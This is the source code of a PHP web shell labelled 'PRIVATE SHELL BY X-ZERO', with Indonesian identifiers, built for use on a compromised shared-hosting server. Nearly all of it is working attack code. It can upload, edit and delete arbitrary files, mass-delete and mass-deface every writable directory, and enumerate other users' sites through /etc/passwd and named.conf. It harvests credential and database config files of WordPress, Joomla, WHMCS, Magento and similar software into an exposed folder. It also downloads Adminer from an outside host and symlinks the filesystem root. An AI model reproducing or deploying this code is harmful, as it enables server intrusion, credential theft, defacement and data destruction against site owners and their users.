PRIVATE SHELL BY X-ZERO

"; //keluar if (isset($_GET['keluar'])) { session_start(); session_destroy(); echo ''; } // Info Server if($_GET['aksi']=='InfoServer'){ echo '

Informasi Server

---

Nama Server : '.$_SERVER["SERVER_NAME"].'

Ip Address : '.$_SERVER["SERVER_ADDR"].'

Port : '.$_SERVER["SERVER_PORT"].'

HDD : '.$used.' / '.$total.' ( Free: '.$free.' )

Protokol : '.$_SERVER["SERVER_PROTOCOL"].'

Save Data : '.$_SERVER["HTTP_SAVE_DATA"].'

Save Mode : '.$sm.'

Fungsi Nonaktif : '.$show_ds.'

Koneksi : '.$_SERVER["HTTP_CONNECTION"].'

Software : '.$_SERVER["SERVER_SOFTWARE"].'

Dokumen Root : '.$_SERVER["DOCUMENT_ROOT"].'

G-Interface : '.$_SERVER["GATEWAY_INTERFACE"].'

R-Method : '.$_SERVER["REQUEST_METHOD"].'

Mysql : '.$mysql.'

Perl : '.$perl.'

Wget : '.$wget.'

Curl : '.$curl.'

Sistem Server : '.$kernel.'

---

Your IP: '.$_SERVER["REMOTE_ADDR"].'

Your Browser : '.$_SERVER["HTTP_USER_AGENT"].'

'; } //upload if ($_GET['aksi']=='upload') { echo "

Upload File:

"; if(isset($_FILES['file'])){ if(@copy($_FILES['file']['tmp_name'],$dir.'/'.$_FILES['file']['name'])){ echo ''; }else{ echo ''; } } } //openfile if (isset($_GET['dirf'])) { $file=$_GET['dirf']; } //buat_file if ($_GET['aksi']=='buat_file') { $output="

Buat

"; echo $output; if (isset($_POST['bikin'])) { $nama_file =$_POST['nama_file']; $isi_file =$_POST['isi_file']; $handle =fopen("$nama_file", "w"); if (fwrite($handle, $isi_file)) { echo ''; }else{ echo ''; } } } /* View */ if($_GET['aksi']=='view') { echo '[ Lihat ] [ Edit ] [ Delete ]'; echo " ".htmlspecialchars(file_get_contents($file))."

"; } /* Edit */ if($_GET['aksi']=='edit') { $nama=basename($file); echo '[ Lihat ] [ Ubah Nama ] [ Delete ]

---

'; echo "

$nama

".htmlspecialchars(file_get_contents($file))." Ubah

"; if(isset($_POST['edit_file'])) { $updt=fopen("$file", "w"); $hasil=fwrite($updt, $_POST['isi']); if ($hasil) { echo ''; }else{ echo ''; } } } /* Ubah Nama */ if($_GET['aksi']=='rename') { $nama=basename($file); echo '[ Kembali ]'; echo "

$nama

Update

"; if(isset($_POST['rename_file'])) { $lama=$file; $baru=$_POST['namanew']; rename( $baru, $lama); if(file_exists($baru)) { echo ''; }else{ if(rename( $lama, $baru)) { echo ''; }else{ echo ''; } } } } /* Delete File */ if ($_GET['aksi']=='hapusf') { $nama=basename($file); echo ' [ Lihat ] [ Edit ] [ Ubah Nama ]'; $output="

Yakin Ingin Menghapus File : $nama

Tidak

"; echo $output; if ($_POST['ya']) { $hapus=unlink($file); if ($hapus) { echo ''; }else{ echo ''; } } } /* Add Folder */ if ($_GET['aksi']=='buat_folder' ) { $output="

Buat

"; echo $output; if (isset($_POST['buat'])) { $nama_folder=$_POST['nama_folder']; $folder=preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $_POST["nama_folder"]); $fd=mkdir ($folder); if ($fd) { echo ''; }else{ echo "echo '"; } } } /* Delete Folder */ if ($_GET['aksi']=='hapus_folder' ) { $nama=basename(getcwd()); $output=" [ Ubah Nama ] [ Delete ]

Yakin Ingin Menghapus Folder : $nama ?

Tidak

"; echo $output; if ($_POST['ya']) { if(is_dir($dir)) { if(is_writable($dir)) { @rmdir($dir); @exe("rm -rf $dir"); @exe("rmdir /s /q $dir"); echo ""; } else { echo ""; } } } exit; } /* Ubah Nama Folder */ if ($_GET['aksi']=='rename_folder' ) { $nama=basename(getcwd()); $output=" [ Delete ]

---

Nama Folder => $nama

Ganti!!

"; echo $output; if (isset($_POST['ganti'])) { $lama=$dir; $baru=$_POST['namanew']; $ubah=rename($lama, $baru); if($ubah) { echo ""; }else{ echo "" ; } } exit; } /* mass delete */ if($_GET['aksi']=='MassDellete') { function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira=scandir($dir); foreach($dira as $dirb) { $dirc="$dir/$dirb"; $lokasi=$dirc.'/'.$namafile; if($dirb==='.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb==='..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if($lokasi) { echo "$lokasi > Terhapus\n"; unlink($lokasi); $massdel=hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo ""; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "Kembali"; } else { echo "

Lokasi

Nama File

"; } exit; } /* Mass Deface */ if($_GET['aksi']=='MassDeface') { function tipe_massal($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira=scandir($dir); foreach($dira as $dirb) { $dirc="$dir/$dirb"; $lokasi=$dirc.'/'.$namafile; if($dirb==='.') { file_put_contents($lokasi, $isi_script); } elseif($dirb==='..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "Berhasil => $lokasi\n"; file_put_contents($lokasi, $isi_script); $MassDeface=tipe_massal($dirc,$namafile,$isi_script); } } } } } } function tipe_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira=scandir($dir); foreach($dira as $dirb) { $dirc="$dir/$dirb"; $lokasi=$dirc.'/'.$namafile; if($dirb==='.') { file_put_contents($lokasi, $isi_script); } elseif($dirb==='..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "Berhasil => $dirb/$namafile\n"; file_put_contents($lokasi, $isi_script); } } } } } } if($_POST['start']) { echo ""; if($_POST['tipe']=='mahal') { tipe_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']); } elseif($_POST['tipe']=='murah') { tipe_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); } echo "Kembali"; } else { echo "

{ Type Mass Deface }

Biasa Masal

---

Lokasi

Nama File

Isi File

"; } exit; } /* Jumping */ if($_GET['aksi']=='jumping') { $i=0; echo "

"; if(preg_match("/hsphere/", $dir)) { $urls=explode("\r\n", $_POST['url']); if(isset($_POST['jump'])) { echo "

";
foreach($urls as $url) {
$url=str_replace(array("http://","www."), "", strtolower($url));
$etc="/etc/passwd";
$f=fopen($etc,"r");
while($gets=fgets($f)) {
$pecah=explode(":", $gets);
$user=$pecah[0];
$dir_user="/hsphere/local/home/$user";
if(is_dir($dir_user)===true) {
$url_user=$dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw="[R] $url_user";
if(is_writable($url_user)) {
$jrw="[RW] $url_user";
}
echo $jrw."
";
}
}
}
}
if($i==0) {
} else {
echo "
Total ada ".$i." di ".$ip;
}
echo "

"; } else { echo '

List Domains:
'; $fp=fopen("/hsphere/local/config/httpd/sites/sites.txt","r"); while($getss=fgets($fp)) { echo $getss; } echo '

'; } } elseif(preg_match("/vhosts/", $dir)) { $urls=explode("\r\n", $_POST['url']); if(isset($_POST['jump'])) { echo "

";
foreach($urls as $url) {
$web_vh="/var/www/vhosts/$url/httpdocs";
if(is_dir($web_vh)===true) {
if(is_readable($web_vh)) {
$i++;
$jrw="[R] $web_vh";
if(is_writable($web_vh)) {
$jrw="[RW] $web_vh";
}
echo $jrw."
";
}
}
}
if($i==0) {
} else {
echo "
Total ada ".$i." Kamar di ".$ip;
}
echo "

"; } else { echo '

List Domains:
'; bing("ip:$ip"); echo '

'; } } else { echo "

";
$etc=fopen("/etc/passwd", "r") or die("Can't read /etc/passwd
");
while($passwd=fgets($etc)) {
if($passwd=='' || !$etc) {
echo "Can't read /etc/passwd
";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_pro_jump) {
$user_jumping_dir="/home/$user_pro_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw="[R] $user_jumping_dir";
if(is_writable($user_jumping_dir)) {
$jrw="[RW] $user_jumping_dir";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump=file_get_contents("/etc/named.conf");
if($domain_jump=='') {
echo " => ( gabisa ambil nama domain nya )
";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url=posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url=$user_jumping_url['name'];
if($user_jumping_url==$user_pro_jump) {
echo " => ( $dj )
";
break;
}
}
}
} else {
echo "
";
}
}
}
}
}
if($i==0) {
} else {
echo "
Total ada ".$i." Kamar di ".$ip;
}
echo "

"; } echo "

"; } /* Config */ if($_GET['aksi']=='config') { $etc=fopen("/etc/passwd", "r") or die("

Can't read /etc/passwd

"); $con=mkdir("codexploit_configs", 0777); $isi_htc="Options all\nRequire None\nSatisfy Any"; $htc=fopen("codexploit_configs/.htaccess","w"); fwrite($htc, $isi_htc); while($passwd=fgets($etc)) { if($passwd=="" || !$etc) { echo "Can't read /etc/passwd"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_config); foreach($user_config[1] as $user_con) { $user_config_dir="/home/$user_con/public_html/"; if(is_readable($user_config_dir)) { $grab_config= [ "/home/$user_con/.my.cnf"=> "cpanel", "/home/$user_con/public_html/config/koneksi.php"=> "Lokomedia", "/home/$user_con/public_html/forum/config.php"=> "phpBB", "/home/$user_con/public_html/sites/default/settings.php"=> "Drupal", "/home/$user_con/public_html/config/settings.inc.php"=> "PrestaShop", "/home/$user_con/public_html/app/etc/local.xml"=> "Magento", "/home/$user_con/public_html/admin/config.php"=> "OpenCart", "/home/$user_con/public_html/application/config/database.php"=> "Ellislab", "/home/$user_con/public_html/vb/includes/config.php"=> "Vbulletin", "/home/$user_con/public_html/includes/config.php"=> "Vbulletin", "/home/$user_con/public_html/forum/includes/config.php"=> "Vbulletin", "/home/$user_con/public_html/forums/includes/config.php"=> "Vbulletin", "/home/$user_con/public_html/cc/includes/config.php"=> "Vbulletin", "/home/$user_con/public_html/inc/config.php"=> "MyBB", "/home/$user_con/public_html/includes/configure.php"=> "OsCommerce", "/home/$user_con/public_html/shop/includes/configure.php"=> "OsCommerce", "/home/$user_con/public_html/os/includes/configure.php"=> "OsCommerce", "/home/$user_con/public_html/oscom/includes/configure.php"=> "OsCommerce", "/home/$user_con/public_html/products/includes/configure.php"=> "OsCommerce", "/home/$user_con/public_html/cart/includes/configure.php"=> "OsCommerce", "/home/$user_con/public_html/inc/conf_global.php"=> "IPB", "/home/$user_con/public_html/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/wp/test/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/blog/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/beta/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/portal/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/site/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/wp/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/WP/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/news/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/wordpress/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/test/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/demo/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/home/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/v1/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/v2/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/press/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/new/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/blogs/wp-config.php"=> "Wordpress", "/home/$user_con/public_html/configuration.php"=> "Joomla", "/home/$user_con/public_html/blog/configuration.php"=> "Joomla", "/home/$user_con/public_html/submitticket.php"=> "^WHMCS", "/home/$user_con/public_html/cms/configuration.php"=> "Joomla", "/home/$user_con/public_html/beta/configuration.php"=> "Joomla", "/home/$user_con/public_html/portal/configuration.php"=> "Joomla", "/home/$user_con/public_html/site/configuration.php"=> "Joomla", "/home/$user_con/public_html/main/configuration.php"=> "Joomla", "/home/$user_con/public_html/home/configuration.php"=> "Joomla", "/home/$user_con/public_html/demo/configuration.php"=> "Joomla", "/home/$user_con/public_html/test/configuration.php"=> "Joomla", "/home/$user_con/public_html/v1/configuration.php"=> "Joomla", "/home/$user_con/public_html/v2/configuration.php"=> "Joomla", "/home/$user_con/public_html/joomla/configuration.php"=> "Joomla", "/home/$user_con/public_html/new/configuration.php"=> "Joomla", "/home/$user_con/public_html/WHMCS/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/whmcs1/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Whmcs/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/whmcs/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/whmcs/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/WHMC/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Whmc/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/whmc/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/WHM/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Whm/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/whm/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/HOST/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Host/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/host/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/SUPPORTES/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Supportes/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/supportes/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/domains/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/domain/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Hosting/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/HOSTING/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/hosting/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/CART/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Cart/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/cart/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/ORDER/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Order/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/order/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/CLIENT/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Client/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/client/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/CLIENTAREA/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Clientarea/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/clientarea/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/SUPPORT/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Support/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/support/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/BILLING/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Billing/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/billing/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/BUY/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Buy/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/buy/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/MANAGE/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Manage/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/manage/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/CLIENTSUPPORT/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/ClientSupport/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Clientsupport/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/clientsupport/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/CHECKOUT/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Checkout/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/checkout/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/BILLINGS/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Billings/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/billings/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/BASKET/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Basket/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/basket/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/SECURE/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Secure/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/secure/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/SALES/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Sales/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/sales/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/BILL/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Bill/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/bill/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/PURCHASE/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Purchase/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/purchase/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/ACCOUNT/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Account/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/account/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/USER/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/User/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/user/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/CLIENTS/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Clients/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/clients/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/BILLINGS/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/Billings/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/billings/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/MY/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/My/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/my/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/secure/whm/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/secure/whmcs/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/panel/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/clientes/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/cliente/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/support/order/submitticket.php"=> "WHMCS", "/home/$user_con/public_html/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/boxbilling/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/box/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/host/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/Host/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/supportes/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/support/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/hosting/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/cart/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/order/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/client/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/clients/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/cliente/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/clientes/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/billing/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/billings/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/my/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/secure/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/support/order/bb-config.php"=> "BoxBilling", "/home/$user_con/public_html/includes/dist-configure.php"=> "Zencart", "/home/$user_con/public_html/zencart/includes/dist-configure.php"=> "Zencart", "/home/$user_con/public_html/products/includes/dist-configure.php"=> "Zencart", "/home/$user_con/public_html/cart/includes/dist-configure.php"=> "Zencart", "/home/$user_con/public_html/shop/includes/dist-configure.php"=> "Zencart", "/home/$user_con/public_html/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/hostbills/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/host/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/Host/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/supportes/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/support/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/hosting/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/cart/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/order/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/client/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/clients/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/cliente/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/clientes/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/billing/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/billings/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/my/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/secure/includes/iso4217.php"=> "Hostbills", "/home/$user_con/public_html/support/order/includes/iso4217.php"=> "Hostbills" ]; foreach($grab_config as $config=> $nama_config) { $ambil_config=file_get_contents($config); if($ambil_config=='') { } else { $file_config=fopen("codexploit_configs/$user_con-$nama_config.txt","w"); fputs($file_config,$ambil_config); } } } } } } echo "Done"; } /* Adminer */ if($_GET['aksi']=='adminer') { $full=str_replace($_SERVER['DOCUMENT_ROOT'], "", $path); function adminer($url, $isi) { $fp=fopen($isi, "w"); $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if(file_exists('adminer.php')) { echo "-> Silahkan Login Adminer <-
"; } else { if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) { echo "-> adminer login <-
"; } else { echo "gagal buat file adminer
"; } } exit; } /* Symlink */ if($_GET['aksi']=='symlink') { if(!is_file('named.txt')){ $d00m=@file("/etc/named.conf"); }else{ $d00m=@file("named.txt"); } if(!$d00m) { die (" [ Bypass Read ] [ Symlink 404 ] [ Bypass Symlink ]
Gagal Membaca /etc/named.conf

"); } else{ echo " [ Bypass Read ] [ Symlink 404 ] [ Bypass Symlink ]

"; foreach($d00m as $dom){ if(eregi("zone",$dom)){ preg_match_all('#zone "(.*)"#', $dom, $domsws); flush(); if(strlen(trim($domsws[1][0])) > 2){ $user=posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0])); flush(); $site=$user['name'] ; @symlink("/","sym/root"); $site=$domsws[1][0]; $ir='ir'; $il='il'; if (preg_match("/.^$ir/",$domsws[1][0]) or preg_match("/.^$il/",$domsws[1][0]) ) { $site=".$domsws[1][0]."; } echo " "; flush(); flush(); } } } echo "

Domains	Users	symlink
".$site."	".$user['name']."	Symlink